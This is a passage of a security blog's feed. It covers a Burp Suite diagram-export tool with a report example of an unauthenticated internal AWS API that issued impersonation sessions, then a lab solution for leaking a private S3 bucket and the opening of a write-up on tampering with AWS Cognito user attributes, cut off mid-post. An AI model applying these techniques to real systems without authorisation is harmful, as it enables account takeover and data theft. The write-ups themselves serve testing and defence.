    &lt;p&gt;&lt;strong&gt;Notes&lt;/strong&gt;. Comments from Burp Suite are converted to notes in the resulting diagram. Use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;br&amp;gt;&lt;/code&gt; in Burp Suite comments to obtain multi-line notes in PESD exports&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Save as&lt;/strong&gt; :&lt;/p&gt;
    &lt;ul&gt;
      &lt;li&gt;Sequence Diagram in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SVG&lt;/code&gt; format&lt;/li&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Markdown&lt;/code&gt; file (MermaidJS syntax),&lt;/li&gt;
      &lt;li&gt;Traffic &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;metadata&lt;/code&gt; in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;JSON&lt;/code&gt; format. Read about the metadata structure in the format definition page, &lt;a href=&quot;https://github.com/doyensec/PESD-Exporter-Extension/blob/main/mds/Format.md#exports&quot; target=&quot;_blank&quot;&gt;“exports section”&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;video controls=&quot;&quot; preload=&quot;auto&quot; width=&quot;100%&quot; height=&quot;100%&quot; poster=&quot;../../../public/images/pesdexport.png&quot;&gt;
	&lt;source src=&quot;../../../public/images/pesdexport.mp4&quot; type=&quot;video/mp4&quot; /&gt;
	Your browser does not support the video tag.
&lt;/video&gt;

&lt;h3 id=&quot;extending-the-diagram-syntax-and-metadata-with-templates&quot;&gt;Extending the diagram, syntax and metadata with Templates&lt;/h3&gt;

&lt;p&gt;PESD Exporter supports syntax and metadata extension via templates execution.
Currently supported templates are:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;OAuth2 / OpenID Connect&lt;/strong&gt; The template matches standard OAuth2/OpenID Connect flows and adds related flags + flow frame&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;SAML SSO&lt;/strong&gt; The template matches Single-Sign-On flows with SAML V2.0 and adds related flags + flow frame&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Template matching example for &lt;em&gt;SAML SP-initiated SSO with redirect POST&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/pesdsamlex.png&quot; alt=&quot;pesdExporter&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 450px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;The template engine is also ensuring consistency in the case of crossing flows and bad implementations. The current check prevents nested flow-frames since they cannot be found in real-case scenarios. Nested or unclosed frames inside the resulting markdown are deleted and merged to allow MermaidJS renderization.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Whenever the flow-frame is not displayed during an export involving the supported frameworks, a manual review is highly recommended. This behavior should be considered as a warning that the application is using a non-standard implementation.&lt;/p&gt;

&lt;p&gt;Do you want to contribute by writing you own templates? Follow the &lt;a href=&quot;https://github.com/doyensec/PESD-Exporter-Extension/blob/main/mds/WritingTemplates.md&quot; target=&quot;_blank&quot;&gt;template implementation guide&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;why-pesd&quot;&gt;Why PESD?&lt;/h2&gt;

&lt;h3 id=&quot;during-test-planning-and-auditing&quot;&gt;During Test Planning and Auditing&lt;/h3&gt;

&lt;p&gt;PESD exports allow visualizing the entirety of complex functionalities while still being able to access the core parts of its underlying logic. The role of each actor can be easily derived and used to build a test plan before diving in Burp Suite.&lt;/p&gt;

&lt;p&gt;It can also be used to spot the differences with standard frameworks thanks to the HTTP messages syntax along with OAuth2/OpenID and SAML SSO templates.&lt;/p&gt;

&lt;p&gt;In particular, templates enable the tester to identify uncommon implementations by matching standard flows in the resulting diagram. By doing so, custom variations can be spotted with a glance.&lt;/p&gt;

&lt;p&gt;The following detailed examples are extracted from our testing activities:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;SAML Response Double Spending&lt;/strong&gt;. The SAML Response was sent two times and one of the submissions happened out of the flow frame&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/doublespendingSAML.png&quot; alt=&quot;pesdExporter&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 450px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;OIDC with subsequent OAuth2&lt;/strong&gt;. In this case, CLIENT.com was the SP in the first flow with Microsoft (OIDC), then it was the IdP in the second flow (OAuth2) with the tenant subdomain.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/pesdoidcexample.png&quot; alt=&quot;pesdExporter&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 450px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h3 id=&quot;during-reporting&quot;&gt;During Reporting&lt;/h3&gt;

&lt;p&gt;The major benefit from the research output was the conjunction of the diagrams generated with PESD with the analysis of the vulnerability. The inclusion of PoC-specific exports in reports allows to describe the issue in a straightforward way.&lt;/p&gt;

&lt;p&gt;The export enables the tester to refer to a request in the flow by specifying its ID in the diagram and link it in the description.
The vulnerability description can be adapted to different testing approaches:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Black Box Testing&lt;/strong&gt; - The description can refer to the interested sequence numbers in the flow along with the observed behavior and flaws;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;White Box Testing&lt;/strong&gt; - The description can refer directly to the endpoint’s handling function identified in the codebase. This result is particularly useful to help the reader in linking the code snippets with their position within the entire flow.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In that sense, PESD can positively affect the reporting style for vulnerabilities in complex functional flows.&lt;/p&gt;

&lt;p&gt;The following basic example is extracted from one of our client engagements.&lt;/p&gt;

&lt;h4 id=&quot;report-example---arbitrary-user-access-via-unauthenticated-internal-api-endpoint&quot;&gt;Report Example - Arbitrary User Access Via Unauthenticated Internal API Endpoint&lt;/h4&gt;

&lt;p&gt;An internal (&lt;em&gt;Intranet&lt;/em&gt;) Web Application used by the super-admins allowed privileged users within the application to obtain temporary access to customers’ accounts in the web facing platform.&lt;/p&gt;

&lt;p&gt;In order to restrict the access to the customers’ data, the support access must be granted by the tenant admin in the web-facing platform. In this way, the admins of the internal application had user access only to organizations via a valid grant.&lt;/p&gt;

&lt;p&gt;The following sequence diagram represents the traffic intercepted during a user impersonation access in the internal application:&lt;/p&gt;
&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/impersonationExample.png&quot; alt=&quot;pesdExporter&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 550px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;
&lt;p&gt;The handling function of the first request (&lt;strong&gt;1&lt;/strong&gt;) checked the presence of an access grant for the requested user’s tenant. If there were valid grants, it returned the redirection URL for an internal API defined in AWS’s API Gateway. The API was exposed only within the internal network accessible via VPN.&lt;/p&gt;

&lt;p&gt;The second request (&lt;strong&gt;3&lt;/strong&gt;) pointed to the AWS’s API Gateway. The endpoint was handled with an AWS Lambda function taking as input the URL parameters containing : &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tenantId&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;user_id&lt;/code&gt;, and others. The returned output contained the authentication details for the requested impersonation session: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;access_token&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;refresh_token&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;user_id&lt;/code&gt;. It should be noted that the internal API Gateway endpoint did not enforce &lt;em&gt;authentication&lt;/em&gt; and &lt;em&gt;authorization&lt;/em&gt; of the caller.&lt;/p&gt;

&lt;p&gt;In the third request (&lt;strong&gt;5&lt;/strong&gt;), the authentication details obtained are submitted to the &lt;em&gt;web-facing.platform.com&lt;/em&gt; and the session is set. After this step, the internal admin user is authenticated in the web-facing platform as the specified target user.&lt;/p&gt;

&lt;p&gt;Within the described flow, the authentication and authorization checks (handling of request &lt;strong&gt;1&lt;/strong&gt;) were decoupled from the actual creation of the impersonated session (handling of request &lt;strong&gt;3&lt;/strong&gt;).&lt;/p&gt;

&lt;p&gt;As a result, any employee with access to the internal network (VPN) was able to invoke the internal AWS API responsible for issuing impersonated sessions and obtain access to any user in the web facing platform. By doing so, the need of a valid super-admin access to the internal application (&lt;em&gt;authentication&lt;/em&gt;) and a specific target-user access grant (&lt;em&gt;authorization&lt;/em&gt;) were bypassed.&lt;/p&gt;

&lt;h2 id=&quot;stay-tuned&quot;&gt;Stay tuned!&lt;/h2&gt;

&lt;p&gt;Updates are coming. We are looking forward to receiving new improvement ideas to enrich PESD even further.&lt;/p&gt;

&lt;p&gt;Feel free to contribute with &lt;a href=&quot;https://github.com/doyensec/PESD-Exporter-Extension/pulls&quot; target=&quot;_blank&quot;&gt;pull requests&lt;/a&gt;, &lt;a href=&quot;https://github.com/doyensec/PESD-Exporter-Extension/issues&quot; target=&quot;_blank&quot;&gt;bug reports or enhancements&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This project was made with love in the &lt;a href=&quot;https://doyensec.com/research.html&quot; target=&quot;_blank&quot;&gt;Doyensec Research island&lt;/a&gt; by &lt;a href=&quot;https://twitter.com/lacerenza_fra&quot; target=&quot;_blank&quot;&gt;Francesco Lacerenza &lt;/a&gt;. The extension was developed during his &lt;a href=&quot;https://blog.doyensec.com/2019/11/05/internship-at-doyensec.html&quot;&gt;internship with 50% research time&lt;/a&gt;.&lt;/p&gt;

</content>
 </entry>
 
 <entry>
   <title>Tampering User Attributes In AWS Cognito User Pools</title>
   <link href="https://blog.doyensec.com/2023/01/24/tampering-unrestricted-user-attributes-aws-cognito.html"/>
   <updated>2023-01-24T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2023/01/24/tampering-unrestricted-user-attributes-aws-cognito</id>
   <content type="html">&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/cloudsectidbit-logo200.jpg&quot; alt=&quot;CloudsecTidbit&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 500px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h3 id=&quot;from-the-previous-episode-did-you-solve-the-cloudsectidbit-ep-1-iac-lab&quot;&gt;From The Previous Episode… Did you solve the CloudSecTidbit Ep. 1 IaC lab?&lt;/h3&gt;

&lt;h4 id=&quot;solution&quot;&gt;Solution&lt;/h4&gt;

&lt;p&gt;The challenge for the &lt;a href=&quot;https://blog.doyensec.com/2022/10/18/cloudsectidbit-dataimport.html&quot;&gt;data-import&lt;/a&gt; CloudSecTidbit is basically reading the content of an internal bucket. The frontend web application is using the targeted bucket to store the logo of the app.&lt;/p&gt;

&lt;p&gt;The name of the bucket is returned to the client by calling the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/variable&lt;/code&gt; endpoint:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ajax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;GET&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;/variable&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;dataType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;json&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;success&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;source_internal&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;`https://&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;.s3.amazonaws.com/public-stuff/logo.png?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;Math&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;random&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;.logo_image&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;attr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;src&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;source_internal&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;jqXHR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;status&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Error getting variable name&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The server will return something like:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&quot;data-internal-private-20220705153355922300000001&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So the schema should be clear now. Let’s use the data import functionality and try to leak the content of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data-internal-private&lt;/code&gt; S3 bucket:&lt;/p&gt;

&lt;p&gt;
    &lt;center&gt;&lt;img style=&quot;width: 80%;&quot; src=&quot;/public/images/cloudsectidbit-dataimported.png&quot; alt=&quot;&quot; /&gt;
    &lt;em&gt;Extracting data from the internal S3 bucket&lt;/em&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;Then, by visiting the Data Gallery section, you will see the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;keys.txt&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dummy.txt&lt;/code&gt; objects, which are stored within the internal bucket.&lt;/p&gt;

&lt;h2 id=&quot;tidbit-no-2---tampering-user-attributes-in-aws-cognito-user-pools&quot;&gt;Tidbit No. 2 - Tampering User Attributes In AWS Cognito User Pools&lt;/h2&gt;

&lt;p&gt;Amazon Web Services offer a complete solution to add user sign-up, sign-in, and access control to web and mobile applications: Cognito. Let’s first talk about the service in general terms.&lt;/p&gt;

&lt;p&gt;From AWS Cognito’s welcome page:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;“Using the Amazon Cognito user pools API, you can create a user pool to 
manage directories and users. You can authenticate a user to obtain tokens 
related to user identity and access policies.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Amazon Cognito collects a user’s profile attributes into directories called &lt;strong&gt;pools&lt;/strong&gt; that an application uses to handle all authentication related tasks.&lt;/p&gt;

&lt;h3 id=&quot;pool-types&quot;&gt;Pool Types&lt;/h3&gt;

&lt;p&gt;The two main components of Amazon Cognito are:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;User pools&lt;/strong&gt;: Provide sign-up and sign-in options for app users along with 
attributes association for each user.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Identity pools&lt;/strong&gt;: Provide the possibility to grant users access to other 
AWS services (e.g., DynamoDB or Amazon S3).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;With a user pool, users can sign in to an app through Amazon Cognito, OAuth2, and SAML identity providers.&lt;/p&gt;

&lt;p&gt;Each user has a profile that applications can access through the software development kit (SDK).&lt;/p&gt;

&lt;h3 id=&quot;user-attributes&quot;&gt;User Attributes&lt;/h3&gt;

&lt;p&gt;User attributes are pieces of information stored to characterize individual users, such as name, email address, and phone number. A new user pool has a set of default &lt;em&gt;standard attributes&lt;/em&gt;. It is also possible to add custom attributes to satisfy custom needs.&lt;/p&gt;

&lt;h3 id=&quot;app-clients--authentication&quot;&gt;App Clients &amp;amp; Authentication&lt;/h3&gt;

&lt;p&gt;An app is an entity within a user pool that has permission to call management operation APIs, such as those used for user registration, sign-in, and forgotten passwords.&lt;/p&gt;

&lt;p&gt;In order to call the operation APIs, an app client ID and an optional client secret are needed. Multiple app integrations can be created for a single user pool, but typically, an app client corresponds to the platform of an app.&lt;/p&gt;

&lt;p&gt;A user can be authenticated in different ways using Cognito, but the main options are:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Client-side authentication flow&lt;/strong&gt; - Used in client-side apps to obtain 
a valid session token (JWT) directly from the pool;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Server-side authentication flow&lt;/strong&gt; - Used in server-side app with the authenticated server-side API for Amazon Cognito user pools. The server-side app calls the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AdminInitiateAuth&lt;/code&gt; API operation. This operation requires AWS credentials with permissions that include &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cognito-idp:AdminInitiateAuth&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cognito-idp:AdminRespondToAuthChallenge&lt;/code&gt;. The operation returns the required authentication parameters.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In both the cases, the end-user should receive the resulting JSON Web Token.&lt;/p&gt;

&lt;p&gt;After that first look at AWS SDK credentials, we can jump straight to the tidbit case.&lt;/p&gt;

&lt;h3 id=&quot;unrestricted-user-attributes-write-in-aws-cognito-user-pool---the-third-party-users-mapping-case&quot;&gt;Unrestricted User Attributes Write in AWS Cognito User Pool - The Third-party Users Mapping Case&lt;/h3&gt;

&lt;p&gt;For this case, we will focus on a vulnerability identified in a Web 
Platform that was using AWS Cognito.&lt;/p&gt;

&lt;p&gt;The platform used Cognito to manage users and map them to their account in a third-party platform &lt;span style=&quot;color:red&quot;&gt;&lt;i&gt;X_platform&lt;/i&gt;&lt;/span&gt; strictly interconnected with the provided service.&lt;/p&gt;

&lt;p&gt;In particular, users were able to connect their &lt;span style=&quot;color:red&quot;&gt;&lt;i&gt;X_platform&lt;/i&gt;&lt;/span&gt; account and allow the platform to fetch their data in &lt;span style=&quot;color:red&quot;&gt;&lt;i&gt;X_platform&lt;/i&gt;&lt;/span&gt; for later use.&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;sub&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;cf9..[REDACTED]&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;device_key&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;us-east-1_ab..[REDACTED]&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;iss&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;https://cognito-idp.us-east-1.amazonaws.com/us-east-1_..[REDACTED]&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;client_id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;9..[REDACTED]&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;origin_jti&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;ab..[REDACTED]&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;event_id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;d..[REDACTED]&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;token_use&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;access&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;scope&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;aws.cognito.signin.user.admin&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;auth_time&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;REDACTED&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;exp&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;REDACTED&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;iat&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;REDACTED&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;jti&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;3b..[REDACTED]&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;username&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;[REDACTED]&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In AWS Cognito, user tokens permit calls to all the User Pool APIs that can be hit using access tokens alone.&lt;/p&gt;

&lt;p&gt;The permitted API definitions can be found  &lt;a href=&quot;https://docs.aws.amazon.com/cognito-user-identity-pools/latest/APIReference/API_Operations.html&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;If the request syntax for the API call includes the parameter &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;AccessToken&quot;: &quot;string&quot;&lt;/code&gt;, then it allows users to modify something on their own UserPool entry with the previously inspected JWT.&lt;/p&gt;

&lt;p&gt;The above described design does not represent a vulnerability on its own, but having users able to edit their own User Attributes in the pool could lead to severe impacts if the backend is using them to apply internal platform logic.&lt;/p&gt;

&lt;p&gt;The user associated data within the pool was fetched by using the AWS CLI:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;aws cognito-idp get-user &lt;span class=&quot;nt&quot;&gt;--region&lt;/span&gt; us-east-1--access-token eyJra..[REDACTED SESSION JWT]
